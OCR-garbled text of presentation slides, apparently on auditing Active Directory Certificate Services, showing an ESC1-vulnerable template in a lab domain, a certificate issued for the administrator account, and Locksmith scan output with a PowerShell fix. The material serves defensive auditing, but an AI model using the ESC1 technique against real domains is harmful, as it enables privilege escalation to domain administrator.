
& JU_HMERAELE TEMPLATE

HIGH=_"ORE ==00

ESC1 Properties

General Compatibility Request Handling Cryptography  Key Attestation
Subject Mame lssuance Requirements

Superseded Templates Exdensions Security Server

Group or user names:

SR Authenticated Users

S8 SYSTEM

4% Domain Admins (SEVENKINGDOMS\Domain Adming)

' 4 Domain Users (SEVENKINGDOMS\Domain Users)

2 Enterprise Admins (SEVEMKINGDOMS \Enterprise Admins)

Add... Remowe

Pemnissions for Domain Users Allow Deny
Full Control
Read
Write
Errall
Autoenroll

special permissions or advanced settings, click

fi S
Advanced
Advanced.

Y F_SYER

ESC1 Properties

General Compatibility Request Handling Cryptography  Key Attestation
Superseded Templates Extensions Security Server

Subject Name lssuance Requirements

(®) Supply in the request

() Build from this Active Directory information

Select this option to enforce consistency among subject names and to
simplify cerficate administration.

* Control is disabled due to compatibility settings.
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Certificate
General Details Certification Path
Show: | =aAll=

Field Value
Issuer SEVEMEINGDOMS-CA
Valid from Wednesday, July 10, 2024 1:...
Yalid to eday, July 10, 2025 1:54:...
Subject
Public key
Public key parameters 05 00

I~ | subject Alternative Mame Other Name:Principal Name=a...

SellGnbiert Kew Tdentifier IEAE9ENAEaRF1 1e8dRN 3R 1hinfh i

COther Mame:
Principal Mame =administrator @sevenkingdoms.local

Copy to File...

h



__ - X X X X HIGHSCORE Z=@0 Y F_C0VER

HDCS

# LOCKSMITH e O COF

Gathering AD CS Objects from sevenkingdoms.local...
Identifying auditing issues...
Identifving AD CS templates with dangerous ESC1 configurations...

#HHEHEHHEHE ESC1 - Vulnerable Certificate Template - Authentication iHHEHHHHHHE

Technigue Name Issue

ESC1 ESC1 SEVENKINGDOMS\Domain Users can enroll in this Client Authentication template using a
SAN without Manager Approval
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Technique - ESC1
* E=1 Name : ESC1
DistinguishedName : CN=ESC1,CN=Certificate Templates,CN=Public Key
* S Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local
* E=C = Issue : SEVENKINGDOMS\Domain Users can enroll in this Client Authentication template
using a SAN without Manager Approval
* E=CY Fix : %0bject = "CN=ESC1,CN=Certificate Templates,CN=Public Key
* E=_= Services,CN=Services,CN=Configuration,DC=sevenkingdoms,DC=local’
Get-ADObject $0bject | Set-ADObject -Replace @{ 'msPKI-Certificate-Name-Flag' =
% E=CE 5

&% E=C=E
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& DISABLE PRINT SPOOLER

VULNERREILITIES

&% RUN LOCKSMITH
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https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://github.com/TrimarcJake/Locksmith
https://github.com/Orange-Cyberdefense/GOAD
https://mayfly277.github.io/categories/ad/
https://www.stigviewer.com/stig/active_directory_domain/2016-02-19/finding/V-8547
https://adsecurity.org/?p=3458
https://www.hub.trimarcsecurity.com/post/bsides-charm-2024
https://www.hub.trimarcsecurity.com/post/password-policy-a-la-carte
https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
https://www.hub.trimarcsecurity.com/post/return-of-the-ldap-channel-binding-and-ldap-signing
https://blog.harmj0y.net/activedirectory/roasting-as-reps/
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